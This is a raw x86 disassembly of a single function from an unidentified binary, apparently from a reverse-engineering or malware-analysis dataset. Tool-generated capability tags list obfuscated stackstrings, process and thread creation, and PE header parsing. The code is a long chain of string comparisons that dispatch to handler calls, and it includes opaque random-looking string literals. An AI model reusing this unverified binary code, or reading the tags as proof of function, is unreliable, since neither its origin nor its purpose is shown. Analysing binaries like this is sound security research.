Function at 0x5269e0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Create thread
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57f645
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
sub esp, 0x288
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, ecx
sub esp, 0x18
mov dword [ebp - 0x38], esi
mov ecx, esp
mov dword [ebp - 0x50], 0
push 0x5c4778
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
mov edi, dword [ebx + 8]
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526a80
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526a50
sub ecx, dword [ebp - 0x20]
je 0x526a80
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526a80
cmp dword [edx + 0x14], 0x10
jb 0x526a6b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526a87
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526abb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526ab1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a549
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526ad3
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 1
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4808
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526b30
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526b00
sub ecx, dword [ebp - 0x20]
je 0x526b30
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526b30
cmp dword [edx + 0x14], 0x10
jb 0x526b1b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526b37
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526b6b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526b61
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a54e
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5271c7
sub esp, 0x18
mov ecx, esp
push 0x5c47f0
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526bd0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526ba0
sub ecx, dword [ebp - 0x20]
je 0x526bd0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526bd0
cmp dword [edx + 0x14], 0x10
jb 0x526bbb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526bd7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526c0b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526c01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a553
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526cbf
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.STJLySzIQUKjs5xEGtxxaUlpOOCFdbPBQsWyUv1JkVp7cWtBJLj89YWyUsiOhA2fNg
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d600
push 2
push ecx
mov dword [ebp - 4], 0
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a531
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x526cb0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a585
push ecx
push edx
call fcn.0054db34
add esp, 8
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4820
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526d17
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526ce7
sub ecx, dword [ebp - 0x20]
je 0x526d17
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526d17
cmp dword [edx + 0x14], 0x10
jb 0x526d02
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526d1e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526d52
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526d48
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a558
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526e06
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.elRSCawF23MxsKrdnJRhWi9wkGBI73JTQNQPTwPVFSNwDUVg5xMwIUPdi8W
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d600
push 1
push ecx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a531
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x526df7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a585
push ecx
push edx
call fcn.0054db34
add esp, 8
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4838
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526e60
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526e30
sub ecx, dword [ebp - 0x20]
je 0x526e60
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526e60
cmp dword [edx + 0x14], 0x10
jb 0x526e4b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526e67
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526e9b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526e91
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a55d
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x526eb0
mov ecx, dword [esi + 0xc]
push 0
call fcn.0041de60
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4970
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526f08
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526ed8
sub ecx, dword [ebp - 0x20]
je 0x526f08
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526f08
cmp dword [edx + 0x14], 0x10
jb 0x526ef3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526f0f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526f43
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526f39
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a562
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5274f9
sub esp, 0x18
mov ecx, esp
push 0x5c4988
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x526fa5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x526f75
sub ecx, dword [ebp - 0x20]
je 0x526fa5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x526fa5
cmp dword [edx + 0x14], 0x10
jb 0x526f90
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x526fac
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x526fe0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x526fd6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a567
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x5275a1
sub esp, 0x18
mov ecx, esp
push 0x5c4a60
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527042
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527012
sub ecx, dword [ebp - 0x20]
je 0x527042
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527042
cmp dword [edx + 0x14], 0x10
jb 0x52702d
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527049
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52707d
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527073
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a56c
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
jne 0x527647
sub esp, 0x18
mov ecx, esp
push 0x5c4790
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5270e0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5270b0
sub ecx, dword [ebp - 0x20]
je 0x5270e0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5270e0
cmp dword [edx + 0x14], 0x10
jb 0x5270cb
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5270e7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52711b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527111
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a571
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52712e
mov ecx, dword [esi + 0xc]
call fcn.0041e840
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4808
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527186
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527156
sub ecx, dword [ebp - 0x20]
je 0x527186
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527186
cmp dword [edx + 0x14], 0x10
jb 0x527171
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52718d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5271c1
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5271b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a576
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5271d6
mov ecx, dword [esi + 0xc]
push 1
call fcn.0041de60
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c47f0
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527230
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527200
sub ecx, dword [ebp - 0x20]
je 0x527230
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527230
cmp dword [edx + 0x14], 0x10
jb 0x52721b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527237
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52726b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527261
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a57b
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52731f
push 0x45
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.YnI4hbBlQYWRwSBUBhWiQgkaFHwodcTzMVfG1YIoDQUarVkAB8XRgWdG1YLCEVBFqEQ
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d600
push 2
push ecx
mov dword [ebp - 4], 2
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a531
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x527310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a585
push ecx
push edx
call fcn.0054db34
add esp, 8
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4820
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527377
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527347
sub ecx, dword [ebp - 0x20]
je 0x527377
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527377
cmp dword [edx + 0x14], 0x10
jb 0x527362
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52737e
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5273b2
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5273a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a580
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527460
push 0x3b
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
push str.clZ2rWQl0TFykCidFZjMUi1URKho5YAQYFIPxg92HSFUKY1A76FzAcbdAsk
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x88], 0
movups xmmword [ebp - 0x9c], xmm0
call fcn.0042d600
push 1
push ecx
mov dword [ebp - 4], 3
lea eax, [ebp - 0x9c]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042e9e0
mov ecx, esi
call fcn.00445090
add esp, 0x18
mov ecx, edi
call fcn.004624a0
mov ecx, dword [ebp - 0x88]
cmp ecx, 8
jb 0x52a531
mov edx, dword [ebp - 0x9c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x527310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a585
jmp 0x527310
sub esp, 0x18
mov ecx, esp
push 0x5c4970
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5274b8
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527488
sub ecx, dword [ebp - 0x20]
je 0x5274b8
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5274b8
cmp dword [edx + 0x14], 0x10
jb 0x5274a3
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5274bf
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5274f3
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5274e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a58a
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527506
mov ecx, dword [esi + 0xc]
call fcn.00405e40
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4988
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527560
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527530
sub ecx, dword [ebp - 0x20]
je 0x527560
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527560
cmp dword [edx + 0x14], 0x10
jb 0x52754b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x527567
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x52759b
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527591
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a58f
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5275ae
mov ecx, dword [esi + 0xc]
call fcn.00406120
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4a60
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527606
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5275d6
sub ecx, dword [ebp - 0x20]
je 0x527606
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527606
cmp dword [edx + 0x14], 0x10
jb 0x5275f1
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52760d
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527641
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527637
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a594
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527654
mov ecx, dword [esi + 0xc]
call fcn.0041ecb0
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4850
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x5276b0
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527680
sub ecx, dword [ebp - 0x20]
je 0x5276b0
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5276b0
cmp dword [edx + 0x14], 0x10
jb 0x52769b
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x5276b7
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5276eb
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5276e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a599
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527700
mov ecx, dword [esi + 0xc]
push 1
call fcn.00408a80
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4868
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527758
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527728
sub ecx, dword [ebp - 0x20]
je 0x527758
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527758
cmp dword [edx + 0x14], 0x10
jb 0x527743
mov edx, dword [edx]
push eax
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52775f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527793
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527789
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a59e
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x5277a8
mov ecx, dword [esi + 0xc]
push 0
call fcn.00408a80
jmp 0x52a531
sub esp, 0x18
mov ecx, esp
push 0x5c4880
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527802
mov ecx, edi
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5277d0
sub ecx, esi
je 0x527802
mov esi, dword [edx + 0x10]
test esi, esi
je 0x527802
cmp dword [edx + 0x14], 0x10
mov dword [ebp - 0x4c], esi
jb 0x5277ed
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52780c
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x527840
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527836
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5a3
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527938
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x148], xmm0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov ecx, edi
mov dword [ebp - 4], 4
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527880
sub ecx, edx
lea eax, [ebp - 0x148]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052aa40
mov eax, dword [ebp - 0x38]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
call fcn.00552afd
cmp dword [ebp - 0x134], 0x10
lea esi, [ebp - 0x148]
mov edi, eax
lea eax, [ebp - 0x50]
cmovae esi, dword [ebp - 0x148]
push 0xa
push eax
push esi
mov dword [edi], 0
call fcn.0055449e
add esp, 0x14
cmp esi, dword [ebp - 0x50]
je 0x52a5a8
cmp dword [edi], 0x22
je 0x52a5b2
mov ecx, dword [ebp - 0x20]
test eax, eax
setne al
movzx eax, al
push eax
call fcn.00408d60
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x52a531
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x527310
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5bc
jmp 0x527310
sub esp, 0x18
mov ecx, esp
push 0x5c4730
call fcn.0042d1c0
lea ecx, [ebp - 0x68]
call fcn.00444d40
add esp, 0x18
mov edx, eax
test edi, edi
je 0x527995
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527960
sub ecx, dword [ebp - 0x20]
je 0x527995
mov eax, dword [edx + 0x10]
test eax, eax
je 0x527995
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x4c], esi
jb 0x527980
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.0055e510
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52799c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x5279d0
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5279c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52a5c1
push ecx
push edx
call fcn.0054db34
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x527ae1
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 5
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x527a10
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.0052aa40
add esp, 8
lea ecx, [ebp - 0x1a0]
call fcn.00434ad0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
